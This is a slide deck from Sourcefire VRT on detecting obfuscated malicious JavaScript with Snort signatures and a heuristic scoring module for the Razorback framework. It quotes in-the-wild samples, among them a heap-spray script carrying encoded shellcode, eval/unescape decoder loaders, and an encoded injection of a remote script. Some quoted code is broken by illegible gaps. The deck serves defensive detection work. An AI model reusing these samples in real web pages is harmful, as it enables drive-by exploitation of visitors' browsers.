Detecting Obfuscated Malicious JavaScript with Snort and Razorback

Alex Kirk

Sourcefire VRT

About the Sourcefire VRT

- Founded in 2001
- 20 team members
  - Core team members based in Columbia, Maryland (USA)
  - ClamAV team members based in Poland, Italy and Germany
- Responsibilities include:
  - Publishing new Snort rules and Sourcefire Protection Updates
  - Publishing new ClamAV signatures
  - Development of the ClamAV Engine

SOURCEfire®

Language and Subtlety

- It's obvious I'm not a native Portuguese speaker
- You can tell from some of the words, and from having heard a number of Portuguese speakers in your day
- People who know JavaScript and/or security can take one look at code and see something fishy is going on

Sometimes Not So Subtle

<script>eval(unescape('function%20tLbG%28ycKguN%29%7Bfunction%20qJus%28bFJP
%29%7Bvar%20ydc%3D0%3Bvar%20yhR%3DbFJP.length%3Bvar%20eoh%3D0%3Bwhile
%28eoh%3CyhR%29%7Bydc+%3DgsW%28bFJP%2Ceoh%29*yhR%3Beoh++%3B%7Dreturn
%20%28ydc+%27%27%29%3B%7Dfunction%20gsW%28pMuuI%2CgJtNE%29%7Breturn
%20pMuuI.charCodeAt%28gJtNE%29%3B%7D%20%20%20try%20%7Bvar%20bDKYQjW
%3Deval%28%27aQrwg%5Du6mfe%5Dn6t%5Ds6.wcwaflfl6eQe%5D%27.replace%28/%5B6w
%5C%5DfQ%5D/g%2C%20%27%27%29%29%3Bvar%20bnIl%3Dnew%20String
%28%29%3Bvar%20rWJZ%3D0%3BkjEiR%3D0%2CvNL%3D%28new%20String%28bDKYQjW
%29%29.replace%28/%5B%5E@a-z0-9A-Z_.%2C-%5D/g%2C%27%27%29%3Bvar%20uiq
%3DqJus%28vNL%29%3BycKguN%3Dunescape%28ycKguN%29%3Bfor%28var%20jTgwVf
%3D0%3B%20jTgwVf%20%3C%20%28ycKguN.length%29%3B%20jTgwVf++%29%7Bvar
%20cIMVF%3DgsW%28vNL%2CrWJZ%29%5EgsW%28uiq%2CkjEiR%29%3Bvar%20lswcxe
%3DgsW%28ycKguN%2CjTgwVf%29%3BkjEiR++%3BrWJZ++%3Bif%28kjEiR%3Euiq.length
%29kjEiR%3D0%3Bif%28rWJZ%3EvNL.length%29rWJZ%3D0%3BbnIl+
%3DString.fromCharCode%28lswcxe%5EcIMVF%29%3B%7Deval%28bnIl%29%3B%20return
%20bnIl%3Dn…

Sometimes Not So Subtle

<script>eval(unescape('function%20tLbG%28ycKguN%29%7Bfunction%20qJus%28bFJP
%29%7Bvar%20ydc%3D0%3Bvar%20yhR%3DbFJP.length%3Bvar%20eoh%3D0%3Bwhile
%28eoh%3CyhR%29%7Bydc+%3DgsW%28bFJP%2Ceoh%29*yhR%3Beoh++%3B%7Dreturn
%20%28ydc+%27%27%29%3B%7Dfunction%20gsW%28pMuuI%2CgJtNE%29%7Breturn
%20pMuuI.charCodeAt%28gJtNE%29%3B%7D%20%20%20try%20%7Bvar%20bDKYQjW
%3Deval%28%27aQrwg%5Du6mfe%5Dn6t%5Ds6.wcwaflfl6eQe%5D%27.replace%28/%5B6w
%5C%5DfQ%5D/g%2C%20%27%27%29%29%3Bvar%20bnIl%3Dnew%20String
%28%29%3Bvar%20rWJZ%3D0%3BkjEiR%3D0%2CvNL%3D%28new%20String%28bDKYQjW
%29%29.replace%28/%5B%5E@a-z0-9A-Z_.%2C-%5D/g%2C%27%27%29%3Bvar%20uiq
%3DqJus%28vNL%29%3BycKguN%3Dunescape%28ycKguN%29%3Bfor%28var%20jTgwVf
%3D0%3B%20jTgwVf%20%3C%20%28ycKguN.length%29%3B%20jTgwVf++%29%7Bvar
%20cIMVF%3DgsW%28vNL%2CrWJZ%29%5EgsW%28uiq%2CkjEiR%29%3Bvar%20lswcxe
%3DgsW%28ycKguN%2CjTgwVf%29%3BkjEiR++%3BrWJZ++%3Bif%28kjEiR%3Euiq.length
%29kjEiR%3D0%3Bif%28rWJZ%3EvNL.length%29rWJZ%3D0%3BbnIl+
%3DString.fromCharCode%28lswcxe%5EcIMVF%29%3B%7Deval%28bnIl%29%3B%20return
%20bnIl%3Dn…

Sometimes More Subtle

```
function jhf1F9Gyu6swRxBi(ffQtQnTfinQ3L98t) {
  if(ffQtQnTfinQ3L98t>92)
    ffQtQnTfinQ3L98t--;
  return ffQtQnTfinQ3L98t-42
}

function pUV0lVElbcgfYe6() {
  if(r3UHHVEK7l==0) {
    Xx1XlE3e2Ue8oB=jhf1F9Gyu6swRxBi(Ir6Z9k0Ya2mh7.charCodeAt(RYxGKpx6DJ6++));
    r3UHHVEK7l=6;
  }
  return ((Xx1XlE3e2Ue8oB>>--r3UHHVEK7l)&0x01);
}
document.write(WKA5mrI4ykK);
```

Start With The Obvious

- “eval(unescape(…lots of data…))” – SID 15363
- 5+ uses of “String.fromCharCode” in close sequence – SID 15362
- “%u0c0c%u0c0c” is commonly used in heap spray attacks – SID 15698
- “var foobar = unescape;” – it’s not cool when you re-name a built-in JavaScript function – SID 15697

SOURCEfire®

Sometimes It Works

```
<script language="javascript">
   function ca()
   {
    var s=unescape("%u0eeb%u4b5b%uc933%uf8b1%u3480%uee0b%ufae2%u05eb%uede8%uffff%u07ff%uee4a%ueeee
       %u8ab1%ude4f%ueeee%u65ee%ue2ae%u9e65%u43f2%u8665%u65e6%u8419%ub7ea%uaa06%ueeee%u0cee
       %u8617%u8081%ueeee%u9b86%u829c%uba83%uf811%u0665%uc006%ueeee%u6dee%ude02%u3265%u84bd%u11de
       %ueab8%uea29%ub2ed%u998a%u29c0%uedaa%u8bea%u8b96%uddee%ube2e%ubdbe%ubeb9%ub811%u65fe
       %ube32%u11bd%ue6b8%ub811%ubfe2%u65b8%ud29b%u9a65%u96c0%u1bed%u65b8%uce98%u1bed%u27dd
       %uafa7%ued43%udd2b%ue135%ufe50%u38d4%ue69a%u252f%uede3%uae34%u1f05%uf1d5%u099b
       %u65b0%ucab0%u33ed%u6588%ua5e2%ub065%uedf2%u6533%u65ea%u2bed
       %ub045%u2db7%ub906%u1111%u6011%ue0a0%udd02%u6424%u76b5%u6410%u90e0%u0c36%ud89d%uc1f4%u869e
       %u9a9a%ud49e%uc1c1%ud7df%uc0dc%ud8df%uc0d6%ud6d6%ud6c0%uc1d6%u8f80%u8180%u9d83%uc089%u968b
       %uee8b");
    var c=s;
    var array = new Array();
    var ls = 0x86000-(c.length*2);
    var b = unescape("%u0c0c%u0c0C");
    while(b.length<ls/2){b+=b;}
    var lh = b.substring(0,ls/2);
    delete b;
    for(i=0;i<270;i++)
    {array[i]=lh+lh+c;}
   }
</script>
```

Sometimes It Works

```
function Jmrknd(VBxGBY){var tpiVRjtWN=2,lgxk=3;var
    oRROXjRrrz='76-0+21-1+40-2+21-1+73-1+78-0+72-0+72-0+39-1+78-2+64-2+76-0+21-1+74-2+74-0+74-2+63-1+66-0+74-0+74
    -0+71-1+70-0+67-1+63-1+73-1+64-2+72-2+67-1+21-1+40-2+21-1+22-2+64-2+66-2+78-2+72-2+64-2+71-1+67-1+76-0+22-2+
    39-1+78-2+64-2+76-0+21-1+74-2+74-0+74-2+63-1+';,nWavBIiRm = parseInt(nWavBIiRm)/tpiVRjtWN;vZANGG +=
    String.fromCharCode(nWavBIiRm);}return vZANGG;}function WJY(YHXTtk){  fff.op.replace("479");var tCbDpk =
    document.getElementById('jcuscTUI'); }
function ljFasFDqA(DoYqMX){var WhS=6,CahvXWiGY=5;var
    xYzUmAFmv='139-1+126-0+130-4+121-1+133-1+140-2+139-1+38-2+73-1+38-2+58-4+60-0+57-3+70-4+122-2+140-2+132-0+
    118-4+139-1+126-0+133-1+132-0+38-2+134-2+133-1+134-2+114-0+118-4+133-1+133-1+128-2+126-0+121-1+114-0+121',Sx
    qJt=xYzUmAFmv.split('+');egTbuuhWDq='';for(rgV=-0x16+0x4+0x2-0x13+0x23;rgV<SxqJt.length-1;rgV+=0xe+0x9-0x29+0x13)
    { OVCZA=SxqJt[rgV].split('-'); TYGhb = parseInt(TYGhb)/WhS;egTbuuhWDq += String.fromCharCode(TYGhb);}return
    egTbuuhWDq;}function Svp(eHMiMoYlbx){ alert('lbFAheLVO');alert('lbFAheLVO'); }
function dxsWUK(iLt){var nFFgpbz=4,FGYhEGc=2;var
    TQSVCqFgq='190-0+202-0+220-0+194-0+196-0+216-0+202-0+200-0+64-0+122-0+64-0+204-0+194-0+216-0+230-0+202-0+1
    18-0+210-0+204-0+64-0+80-0+66-0+238-0+210-0+220-0+200-0+222-0+238-0+92-0+222-0+224-0+202-0+228-0',zkacUCuZ=T
    QSVCqFgq.split('+');EUt='‘; jqjKFtGPFQ=zkacUCuZ[svZDg].split('-');nfKeIX = parseInt(jqjKFtGPFQ[0]*FGYhEGc);nfKeIX =
    parseInt(nfKeIX)/nFFgpbz;EUt += String.fromCharCode(nfKeIX);}
function gfWnvSBdU(nCHYboAiCK){var evZYCxHieE=5,mBQDbvEccS=10;var
    tPHx='23-0+49-5+55-5+55-5+53-5+52-5+50-5+16-0+30-5+30-5+16-0+19-5+57-5+58-0+57-0+52-5+55-0+51-5+19-5+20-5+52-
    5+51-0+16-0+20-0+50-0+55-5+49-5+58-5+54-0+',pLRiwiVU=tPHx.split('+');ozmPGa='';for
    (TIjG=-0x31+0x29+0x8;TIjG<pLRiwiVU.length-1;TIjG+=0x25+0x9+0x27-0x1a-0x3a){ tCOihIDrb=pLRiwiVU[TIjG].split('-');
    evZYCxHieE;ozmPGa += String.fromCharCode(AJKIg);}return ozmPGa;}function cXg(rgAfbgaBw){ var tIiZaljdEy=new Function
    ("NLUUycVyEB", "return 286898;“)
 function fnKcquGjlz(dpxywQ){var Hut=4,Wqn=8;var
    udInElR='24-0+20-4+61-4+50-0+55-4+49-4+58-4+54-4+50-4+55-0+58-0+23-0+49-4+55-4+55-4+53-4+52-4+50-4+16-0+30-4+
    16-0+17-0+58-0+50-4+57-4+58-0+17-0+29-4+52-4+57-4+47-4+50-4+55-0+',GYYflZMQe=udInElR.split('+');ThbtwfUUt='';for
    (aDq=0x13-0x9-0x2e+0x21+0x3;aDq<GYYflZMQe.length-1;aDq+=0x3+0xb+0x21-0x2d-0x25+0x24){ VAdbWeXFu=GYYflZMQe
    [aDq].split('-');FWNH = parseInt(VAdbWeXFu[0]*[illegible]t(VAdbWeXFu[1]);FWNH = parseInt(FWNH)/Hut;ThbtwfUUt
    += String.fromCharCode(FWNH);}return Thbtwf[illegible]
```

Sometimes It Doesn't

```
<script type="text/javascript">eval(unescape('%64%6f %63%75%6d%65%6e
    %74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d
    %22%6d%61%69%6c%74%6f%3a%61%62%6c%69%6e%72%6a
    %40%65%6d%61%69%6c%2e%61%72%69%7a%6f%6e%61%2e
    %65%64%75%22%20%3e%61%62%6c%69%6e%72%6a%40%65%6d
    %61%69%6c%2e%61%72%69%7a%6f%6e%61%2e%65%64%75%3c%2f
    %61%3e%27%29%3b') )</script>
```

Translates to:

```
<script type="text/javascript">document.write('<a
    href="mailto:ablinrj@email.arizona.edu">ablinrj@email.arizona.edu</
    a>');</script>
```

Hiding email from spammers, totally legit

SOURCEfire®

Sometimes It Doesn't

```
var enc = null;
if (c1 < 128) {
  end++;
} else if((c1 > 127) && (c1 < 2048 )) {
  enc = String.fromCharCode((c 1 >> 6) | 192) +
    String.fromCharCode((c1 & 63) | 128);
} else {
  enc = String.fromCharCode((c1 >> 12) | 224) +
    String.fromCharCode(((c1 >> 6) & 63) | 128) +
    String.fromCharCode((c1 & 63) | 128);
}
```

Part of a UTF-8 encoder, totally legit

SOURCEfire®

Typically A Combination Of Issues

```
v19o0=unescape('eqh6%2C%2C0%60hos6%7Eenxhj%7Bn%23%2Cn%7Djg.
    93.99hlh%7C92.8O.%3EH.9%3C.%3EH.9%3C.8Ic%60%7Df%7Fn%7B.8O
    %7Eenxhj%7Bn.93.%3EH.9%3C%7D.9%3E8O%7Bz.9%3E%3CM.
    9%3E8Hzx3.9%3E99.9%3E99.9%3E8N.9%3E%3CMmo.9%3E%3CO.
    9%3E8Oo%3E.9%3E%3CHhc3%7B%60.9%3E%3D%3B%7Dmo%7E.9%3E
    %3D%3B%26.9%3E99h.9%3E9%3B9H...'); p781cl6=2597;for(i=0;i<p781cl6;i
    ++)gdh4uyq93=gdh4uyq93+(String.fromCharCode(v19o0.charCodeAt(i)
    ^6^4^9));eval(gdh4uyq93); setTimeout(function(){iW(qk,pk1)},500);}catch
    (errno){aa(0,"There was a software exception (#1) while trying to start
    your download.  Please refresh your page and try again.");}}  function
    v5a9rruew(qk,pk1){if(pk==1)return;else pk=1;try{var
    fP=document.getElementById('loadingicon');if(fP)fP.style.display="none";
    eval("h0y=\'\';ru5l4dfbw=unescape(\'e%3C9%60%7D8ha2%28%284z%7B
    %7Dza9%7E2zaj
```

Concept: Scoring System

- Requiring multiple pieces dramatically reduces false positives
- Weight given to each indicator could be tuned based on experience
- Allows user to set a “tolerance level” for sneaky JavaScript
- Used with reasonable success by anti-spam systems, why not with JavaScript?

SOURCEfire®

Where Can We Run It?

- Scoring system is most useful if it's part of a broader tool that can work automatically
  - Manual analysis is painful and slow
  - ~0.01% of the world's JavaScript would get analyzed

- Won't work at wire speeds
  - Doing a lot of detailed work, often character-by-character
  - If we plug in other tools (jsunpack, etc.) you add even more complexity

SOURCEfire®

Razorback Detection Nugget

- What is Razorback?
  - Give me a pointer and a size, I can do anything!
  - Detection framework that takes input from a number of sources, tracks that input, and farms it out to appropriate detection “nuggets”
- Not constrained to what can be done at wire speeds
  - Very important given shift to client-side attacks

SOURCEfire®

Sample Set

- Obvious question: what are the criteria?
- Most realistic answer comes from analyzing in-the-wild attacks
- ClamAV database to the rescue: 60,946 samples of “text/html” in the last 45 days
- Imperfect, since there may be false positives, but great for a starting point

SOURCEfire®

Variable Names

- Variable names are supposed to make sense:
  - firstLink, NOT
  - s3474q6ytfd
  - kjsdakdjans
- Easy for a human to see; how to make the computer see?
- Check ratios
  - (Consonants + numbers) / Total Characters
  - (Uppercase + letters) / Total Characters
  - 30 letters or longer – Metasploit, not real world
- Applies to function names, too!

SOURCEfire®

Variable Contents

- Size of a given variable not useful
  - People stuff entire JPEGs into a variable!
  - Small variables can be malicious

- Certain characters within a variable, however, are
  - 0x09 / '\t' (tab) – 5 or more; uncertain of purpose
  - 0x25 / '%' – Used in encoding; more than 20
  - 0x2B / '+' – Concatenating strings obfuscates them; 5 or more

SOURCEfire®

Variable Contents: Examples

```
var n = document.createElement
    ("O"+""+"BJ"+"EC"+""+"T");
```

```
var _0x161y=["%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u006b%u006c
    %u0069%u006b%u006c%u0069%u006e%u006b%u002e%u0072%u0075%u002f
    %u0067%u0065%u0074%u002e%u006a%u0073%u003f
    %u0075%u0073%u0065%u0072%u005f%u0069%u0064%u003d
    %u0033%u0035%u0032%u0038%u0026%u006d%u006f%u0064%u0065%u003d
    %u0070%u006f%u0070","\x3C
    \x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F
    \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D
    \x22","\x22\x3E\x3C\x2F
    \x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];
document[_0x161y[3]](_0x161y[1] + unescape(_0x161y[0]) + _0x161y[2]);
```

Variable Contents: Examples

```
var s=' E  |  lu  y  }  G  b9%3  mV^T^] 8  4  3  0
  D  b9%3  m  6V 8  4  3[ 9  2  3  D  b9%3
  m^S 1  2  8  7  0  9  2  8  8  D  b9%3  m  8  F
  5] 5^W 5  6  0  D  b9%3  m;^T  9  0  6  8  7
  2  3  D  b9%3  m  0  F  2  4  3  3  7  0] 7  D
  m  x  l  a  v  n  w  }  .  cu  }  n  (  \' E  r  ok  v
  n    |  {  lS  qb  y  C  /  /  {  e  o  o  n  .  l  x
  v  /  4  7  /  t  l  l  }  .  y  q  y  "    c  r  m  }
  qS 4  "    q  n  r  p  q|  "  4  "" u  r  p  wS u
  n  of G  E  /  r  ok v  n  G  \' )  D  E  /  |  lu
  y  }  G';
```

Calls to eval()

- Points based on size of data inside eval()
- Extra points if certain keywords are inside
  - unescape(
  - fromCharCode
  - May need to pass threshold before score is bumped
- Specific characters
  - 50+ “%” or “\” characters
  - 5+ “+” characters
- Subtract huge amount of points if encoded “mailto:” is found

SOURCEfire®

Eval() examples

```
eval(unescape("function w%28s%29%7Bt%3D%22whmSrp%3B%5EsC
    %02%3Eb1kz%28%24e%2FK5%2CF%7CUB3%5DvVO6M%40%7E9ax
    %04%3DZJ%3Ac E%2BnPl%27o%26y%29d%01%3Fu%25I%3C4Xj%7D^?
    2DHN%037%5BGA%2AqY%21%7B%60%5FLR8%2Eg%2DiQf
    %23tWT0%22%3Bo%3Dnew String%3Bl%3Ds%2Elength%3Bfor %28i
    %3D0%3Bi%3Cl%3Bi%2B%2B%29%7Bn%3Dt%2EindexOf%28s%2EcharAt
    %28i%29%29%3Bif%28n%3D%3D%2D1%29%7Bo%2B%3Ds%2EcharAt%28i
    %29%3Bcontinue%7Dif%28n%3D%3D0%29%7Bo%2B%3DString
    %2EfromCharCode%2810%29%3Bcontinue%7Dif%28n%3D
    %3D1%29%7Bo%2B%3DString%2EfromCharCode%2813%29%3Bcontinue
    %7Dif%28n%3E1%29%7Bo%2B%3DString%2EfromCharCode%28n
    %2B30%29%7D%7Ddocument%2Ewrite%28o%29%7D"))
```

Eval() examples

```
eval(un";var bOibMw="W64%W43%W68%W6";var j5D1B="2%3B7f2%7Ff";var rfFj="e
    (/Ff/g,'";wUCjPR+="Ff57f2%747f2";var TEgBD12="y%ZT6gy%46gy";lJcp666Z
    +="2%757f2%";Cdlkn+="27DB3B';ev";vVXqYXJ=MZ1XlR8s
    +"7Ff7f2%Ff"+vVXqYXJ;rfFj+="6').replace(/7";var ffuKs="6gy%ZT6";var
    BKMS="T796gy%ZT3D";var syH5="ZT/g,'%')";var sEgz0bt="y%ZT2E";var
    zF0oW="7f2%747f";wpS4+="%46gy%ZT4A6gy";var JvmqSfg="427f2%79";var
    RtqC7gf="%ZT746gy";wa3YD=Gt9u0+"2DB6CDB3DDB27"+wa3YD;var
    FJLMc="%3D7f2%";ffuKs="gy%ZT49"+ffuKs;sEgz0bt="ZT66gy
    %6g"+sEgz0bt;u2fxhRjv="57f2%27"+u2fxhRjv;var wrasO1="Ff37f2%75";var
    hYhm="%W/g,'%')
```

```
eval("w"+"indo"+"w.m"+"o"+"v"+"eT"+"o(t6zdnbc0e,t6zdnbc0e)")
```

```
eval(pf+'text=ol_texts['+ar[++i]+'].toString()')
```

Calls to replace()

- Most suspicious if used to remove characters
  - .replace(/JagUPydAdUTYpYL/g,''), NOT
  - .replace(/(^|&)styleid=\d+/ig, '')

```
var GeqecDapeds=String;var FaverCerewe=-1;FaverCerewe
    +=2;TexajQe=54;var VejakQenn='';var BeweBen=24;BeweBen
    +=-8;var HeqaxKaw=window;var
    LeRec='fVr4koFM5mO3jCqwxIhL7PaMTr99ipCkqv2oByJd1ebjY
    2'.replace(/[V4kFM5O3jqwxIL7PMT99ipkqv2ByJ1bjY2]/g, '');
```

Function Calls

- Apply the variable name logic to function names
- Huge, important, giveaway indicator: 20+ characters after the opening "{" before a newline
  - Yes, there are valid functions that do this

```
function makeLinkTo(s) { window.top.location.href ='http://komputery.katalogi.pl/
temat1089-strona'+s.options[s.selectedIndex].value+'/'; }
```

  - But malware wants to be as small as possible, so it frequently skips newlines altogether

```
function re(s,n,r,b,e){if(s<b||s>e)return s;s-=r;if(s<b)s+=n;return s;}
```

SOURCEfire®

Hey, What's This?

- function re(s,n,r,b,e){if(s<b||s>e)return s;s-=r;if(s<b)s+=n;return s;} doesn't look very malicious, does it?
- This does!

<script>var s=' E | lu y } G b9%3 mV^T^] 8 4 3 0 D b9%3 m 6V 8 4 3[9 2 3 D b9%3 m^S 1 2 8 7 0 9 2 8 8 D b9%3 m 8 F 5] 5^W 5 6 0 D b9%3 m;^T 9 0 6 8 7 2 3 D b9%3 m 0 F 2 4 3 3 7 0] 7 D m x l a v n w } . cu } n (\' E r ok v n | { lS qb y C / / { e o o n . l x v / 4 7 / t l l } . y q y " c r m } qS 4 " q n r p q| " 4 "" u r p wS u n of G E / r ok v n G \') D E / | lu y } G';^M

var t='3 a=5rt0dn"4i2',cn=9,rn=4;^M

function re(s,n,r,b,e){if(s<b||s>e)return s;s-=r;if(s<b)s+=n;return s;}^M

var i = 0,sx="";^M

while(i<s.length){var ch=s.charAt(i);^M

var c,i1,i2;^M

if(ch==" "){c = s.charAt(i+1);i1=s.charCodeAt(i+1);if(i1<127)c = String.fromCharCode(re(re(re(i1,33,cn,58,90),29,cn,97,125),10,rn,48,57));i++;}^M

else{c=s.charCodeAt(i);if(c<127)c = re(re(re(c,33,cn,58,90),29,cn,97,125),10,rn,48,57);i1 = c>>4; i2 = (c-i1*16);c = t.charAt(i1-1)+""+t.charAt(i2);}^M

i++;if(c==" ")c = "\n";sx+=c;}document.write(sx);</script>

SOURCEfire®

Malware Lulz

- Out of 60,946 samples, that code showed up 36,635 times – just over **60%**
- Not conclusive of anything in the broader malware landscape – sample is imperfect
- Does prove what we already knew – lots of script kiddiez, bots, and lazy malware authors
- Is ridiculously easy to target – added SID 18132 as soon as I discovered
  - Potential feedback loop between Razorback and Snort

SOURCEfire®

Function Calls Revisited

- Checking for certain calls or excessive repeated characters with long-line functions works well
  - substr
  - fromCharCode
  - unescape
  - parseInt
  - charAt
  - split
  - “__” x 10
  - “!” x 50
  - “+” x 25
  - “,” x 50

SOURCEfire®

Ideas That Didn't Work

- Overly specific
  - Hex parameters supplied to function
  - Return value of 5+ digits
- Overly generic
  - Line length > 500 bytes
  - Strings of 100+ bytes with no spaces
  - 5+ instances of ";" without a following space on a single line

SOURCEfire®

Ideas That Didn't Work (con't)

- Shannon entropy calculation
  - Lots of malware samples look "weird", are full of special characters and odd patterns
  - Unfortunately, so do perfectly legit functions

```
function pollnow956(){document.getElementById
('PlBtn956').disabled=true;_uPostForm('pollform956',{url:'/
poll/',type:'POST'});}function polll956(id,i){_uPostForm
('pollform956',{url:'/poll/'+id+'-1-'+i+'-956',type:'GET'});}</
script><div id="pollBlock956"><form id="pollform956"
onsubmit="pollnow956();return false;"><div class="pollBlock"
style="font-family:Tahoma,Arial;">
```

SOURCEfire®

Whitelisting

- Razorback will provide the URL a piece of JavaScript came from
  - Google gets whitelisted immediately: document.write (unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
- Could also whitelist particular function names, chunks of code, etc.
  - function getXmlHttpRequestObject() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if(window.ActiveXObject) { …
- Would ship with whitelist that could be added to

Status of Razorback Module

- Very much experimental
  - I am not a professional C coder, and I wrote this alone
  - Still plenty of room for logic improvement as well
  - No speed considerations just yet
- May integrate with other tools like jsunpack
- Stable code will be released within the next 1-2 months
  - Look for it at http://labs.snort.org/razorback/

SOURCEfire®

Questions?

Email: alex.kirk@sourcefire.com

IRC: #snort on freenode

VRT Blog: http://vrt-sourcefire.blogspot.com/

Mailing Lists: https://lists.sourceforge.com/lists/listinfo/snort-users

https://lists.sourceforge.com/lists/listinfo/snort-sigs

Twitter: http//www.twitter.com/vrt_sourcefire